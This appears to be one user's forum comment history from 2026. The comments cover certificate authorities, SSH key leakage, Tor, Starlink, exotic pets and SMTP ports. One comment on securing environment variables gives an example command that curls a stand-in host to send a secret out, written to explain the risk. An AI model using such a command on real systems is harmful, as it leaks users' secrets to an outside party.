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Finally a use case for Knuth's up-arrow notation in daily life.
Their RSA root certificate is still trusted. They could say they want that removed and the questions would instantly stop.
They where ECC keys
Im talking about the CA industry. Maybe industry is the wrong word?
You where involved in the biggest fuckup by orders of magnitude your whole industry ever did in it's existance? I'm interested to hear the story.
Those are just more reasons to remove every cert they ever touched.
Re:mitmproxy adds --emudhra option on Thursday October 22, 2026 @02:23AM (#50191873)
It's not unlikely they get all their certs revoked.
Those arent't ground stations these are datacenters where Starlink has a pressence for peering with other ISPs.

The ground stations look like this. https://www.srf.ch/static/cms/images/1280w/o-dpr-2/2aa021.we...

>No, water damage

That's what we learned in fire fighting training. Everything that doesn't get destroyed by the fire and smoke will get destroyed by the water you use to put the fire out. A house on fire is lost. You just save people and animals and then you do whatever you need to protect the neighbouring structures.

Re:Get your Windows license refund on Friday August 28, 2026 @02:16PM (#49482425)
Someone should develop, or vibecode I guess, a Linux tool that does exactly this. A support agent so I can just install it for my mom and she can vaguely write her issues and needs and the agent does it.
I'm asking about the Dutchman story the parent wrote. I can hardly believe it tbh. Even if the Netherlands don't have specialized personel, Hamburg is just a 5 hour drive away and Antwerp even closer.
Doesn't the Netherlands have some sort of institute of tropical medicine which deals with exactly those cases?
Re:Buy a train, bridge or tracks from the Swiss Railway on Wednesday June 10, 2026 @10:09AM (#48476551)
Isn't that propagating with around the speed of light? Switzerland is only about 1 light ms wide so even if they only have one master clock instead of one per train station the latency should be negligible especially in the 1950s.
Re:Am I a Bad Friend? on Thursday May 28, 2026 @08:02AM (#48307719)
quantum computers won't save you as they aren't helping you crack symmetric encryption like AES which is most likely used for an encrypted hard disk.

https://words.filippo.io/128-bits/

How do you use them if you don't decrypt them? At some point you have to see them in plaintext. Even if they are sensitive and not shown in the UI you can still start an app and curl https://hacker.example/$my_encrypted_var to exfiltrate them.

What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?

>it costs me nothing to change my vocabulary

It cost reddit a 3 hour outage.

>The nodeSelector and peerSelector for the route reflectors target the label `node-role.kubernetes.io/master`. In the 1.20 series, Kubernetes changed its terminology from “master” to “control-plane.” And in 1.24, they removed references to “master,” even from running clusters. This is the cause of our outage.

https://old.reddit.com/r/RedditEng/comments/11xx5o0/you_brok...

The Internet: Where the men are men, the women are men and the children are FBI agents.
Re:SSH has no Host header on Wednesday March 18, 2026 @03:50AM (#47422818)
True but a server that wants to "deanonymize" you can just reject each key till he has all the default keys and the ones you added to your ssh agent.

You can try it yourself [0] returns all the keys you send and even shows you your github username if one of the keys is used there.

[0] ssh whoami.filippo.io

Re:SSH has no Host header on Wednesday March 18, 2026 @02:13AM (#47422107)
ssh by default sends all your public keys to a server. Yes you can limit some keys to specific hosts but it's very easy to dox yourself.
Re:Zero-day CSS: CVE-2026-2441 exists in the wild on Thursday February 19, 2026 @05:06AM (#47072111)
The NSA surely has ordered a backdoor.

>In December 2013, a Reuters news article alleged that in 2004, before NIST standardized Dual_EC_DRBG, NSA paid RSA Security $10 million in a secret deal to use Dual_EC_DRBG as the default in the RSA BSAFE cryptography library https://en.wikipedia.org/wiki/Dual_EC_DRBG

Re:Reimplementing Tor from Scratch for a Single-Hop Proxy on Wednesday February 04, 2026 @02:32AM (#46882644)
He uses the keys of his non-exit relay to directly connect from his workstation to an exit relay pretending to be the relay on his VPS. But yeah he could just use the VPS for wireguard which would be way easier.

I'm in Europe so I don't get less than 20Mbit/s on any circuit but I asume he could have got the same speed by just selecting a few local, fast nodes as bridge.

I had the same few years ago. When I pointed out that I can get full root with most of the whitelisted commands they answered "We know. It's not about security but to prevent lusers from accidentally rm -rf /* the server. Feel free to spawn a root shell. You obviously know what you do"
Re:Experts Warn of Growing Parrot Crisis in Canada on Saturday January 17, 2026 @02:44AM (#46656106)
Releasing it is just murder by neglect so people don't feel bad about themself that they actually killed their pet just because "they can't care" for it anymore aka they don't want to deal with the minor inconvenience of caring for a pet anymore. Or worse they become a pest that wipes out whole local ecosystems.
Re:Experts Warn of Growing Parrot Crisis in Canada on Saturday January 17, 2026 @02:13AM (#46655986)
You never release exotic pets to the wild. Isn't that common knowledge by now? If you can no longer care for an animal bring it to the vet to get it euthanized.
Re:A closer look at a BGP anomaly in Venezuela on Thursday January 08, 2026 @01:11PM (#46544367)
You don't have to be cloudflare for this kind of analysis you can do it yourself without even needing an ASN using RIPE RIS.

https://www.ripe.net/analyse/internet-measurements/routing-i...

I doubt it's that much but with the same logic you could also ban HN, SSH and basically any protocol thats not https "with no one noticing" because 99.9+% doesnt use it.
Sure but from your link

>The PBL detects end-user IP address ranges which should not be attempting to directly deliver unauthenticated SMTP email to any Internet mail server. All the email originated by an IP listed in PBL is expected to be submitted - using authentication - to a SMTP server which delivers it to destination

Means in practice port 25 (unauthenticated) and port 587 (authenticated)

SMTP isn't filtered it's port 25 that is. And from a short look at the readme it looks like it's using the transmission port 587 which shouldn't be filtered.

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